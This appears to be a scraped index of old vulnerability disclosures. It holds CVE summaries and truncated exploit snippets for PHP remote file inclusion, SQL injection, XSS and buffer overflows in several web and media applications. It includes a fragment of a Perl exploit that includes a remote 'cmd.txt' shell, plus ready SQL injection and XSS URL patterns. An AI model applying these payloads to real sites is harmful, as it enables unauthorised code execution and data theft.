CVE-2006-4770

PHP remote file inclusion vulnerability in menu.php in MiniPort@l 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the skiny parameter...

CVE-2006-4770

CVE-2006-4770 describes a PHP remote file inclusion in MiniPort@l 2.0 and earlier. The vulnerability exists in menu.php via the skiny parameter, allowing an attacker to supply a URL that leads to remote PHP code execution. The issue is documented in NVD/NVD-related entries; no explicit patch vers...

CVE-2006-4770: Undefined Security Weakness

PHP remote file inclusion vulnerability in menu.php in MiniPort@l 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the skiny parameter...

CVE-2006-4746: Undefined Security Weakness

PHP remote file inclusion vulnerability in news/include/customize.php in Web Server Creator 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...

MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...

MiniPort@l 0.1.5 Beta - skiny Remote File Inclusion

MiniPort@l 0.1.5 Beta - skiny Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0;...

CVE-2006-4504: Undefined Security Weakness

SQL injection vulnerability in NX5Linx 1.0 allows remote attackers to execute arbitrary SQL commands via the 1 c and 2 l parameters...

lforum240.txt

Title: l-forum = 2.4.0 Remote File Inclusion Vulnerability The bug is Discovered by Minus-Power Mail: minus-power at myway dot com Date: 19.Aug 2006 -= Republic of IRAN =- Thank you : R00TATI - Stansar & members of RS Damn to : All Arab & Turkish hackers...

CVE-2006-2744: Undefined Security Weakness

PHP remote file inclusion vulnerability in p-popupgallery.php in F@cile Interactive Web 0.8.41 through 0.8.5 allows remote attackers to execute arbitrary PHP code via a URL in the l parameter...

GLSA-200604-16 : xine-lib: Buffer overflow vulnerability

The remote host is affected by the vulnerability described in GLSA-200604-16 xine-lib: Buffer overflow vulnerability Federico L. Bossi Bonin discovered that when handling MPEG streams xine-lib fails to make a proper boundary check of the input data supplied by the user before copying it to an...

Libxine 1.14 - MPEG Stream Buffer Overflow (PoC)

Libxine 1.14 - MPEG Stream Buffer Overflow PoC !/usr/bin/perl Libxine = 1.14 : MPEG Stream Buffer overflow vulnerability / PoC Federico L. Bossi Bonin fbossiatnetcomm.com.ar gdb run /tmp/egg.mpeg Starting program: /usr/bin/gxine /tmp/egg.mpeg Program received signal SIGSEGV, Segmentation fault...

realplayer-swf-PoC.pl.txt

!/usr/bin/perl RealPlayer: Buffer overflow vulnerability / PoC CVE-2006-0323 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323 RealNetworks Advisory http://service.real.com/realplayer/security/03162006player/en/ Federico L. Bossi Bonin fbossiatnetcomm.com.ar Program received signal...

LISTSERV contains multiple buffer overflow vulnerabilities in the WA CGI script

Overview Several buffer overflow vulnerabilities have been discovered in LISTSERV. These vulnerabilities could allow a remote attacker to execute arbitrary code on an affected system. Description L-Soft's LISTSERV is an email list management software package. It includes a Web Archive and...

L-Soft Listserv list management system web interface code execution

No description provided...

Critical Risk Vulnerability in L-Soft Listserv

Peter Winter-Smith of NGSSoftware has discovered a number of vulnerabilities in L-Soft's LISTSERV list management system. The worst of these carries a critical risk rating. Affected versions include: - LISTSERV version 14.4, including LISTSERV Lite and HPO - LISTSERV version 14.3, including...

D3JeebSQL.txt

Software: D3Jeeb Web Site: http://www.tl4s.com Versions: tested on D3Jeeb Pro 3 Type: SQL Injection Class: Remote Vulnerable script: fastlinks.php catogary.php Exploit : 1- http://www.target.com/fastlinks.php?catid=SQL 2- http://www.target.com/catogary.php?catid=SQL Discovered by: SAUDI L-G-H Tea...

FantasticSQL.txt

Software: Fantastic News Web Site: http://www.fscripts.com Versions: 2.1.1 Type: 2 SQL Injection Class: Remote Exploit : 1- http://www.target.com/news.php?action=news&category=|sql 2- http://www.target.com/news.php?page=|sql Discovered by: SAUDI L-G-H Team http://www.lezr.com Regards ///...

2 SQL Injection in d3jeeb

Software: D3Jeeb Web Site: http://www.tl4s.com Versions: tested on D3Jeeb Pro 3 Type: SQL Injection Class: Remote Vulnerable script: fastlinks.php catogary.php Exploit : 1- http://www.target.com/fastlinks.php?catid=SQL 2- http://www.target.com/catogary.php?catid=SQL Discovered by: SAUDI L-G-H Tea...

2 SQL Injection in Fantastic News

Software: Fantastic News Web Site: http://www.fscripts.com Versions: 2.1.1 Type: 2 SQL Injection Class: Remote Exploit : 1- http://www.target.com/news.php?action=news&category=|sql 2- http://www.target.com/news.php?page=|sql Discovered by: SAUDI L-G-H Team http://www.lezr.com Regards ///...

ar-blogv5.2.txt

Software: ar-blog Web Site: http://www.ar-blog.com Versions: ar-blog v 5.2 Type: Cross Site Scripting Class: Remote Exploit : 1- http://www.target.com/index.php?page=showtopis&month=XSS&year=1426&all=9 2- http://www.target.com/index.php?page=showtopis&month=9&year=XSS&all=9 Example : 1-...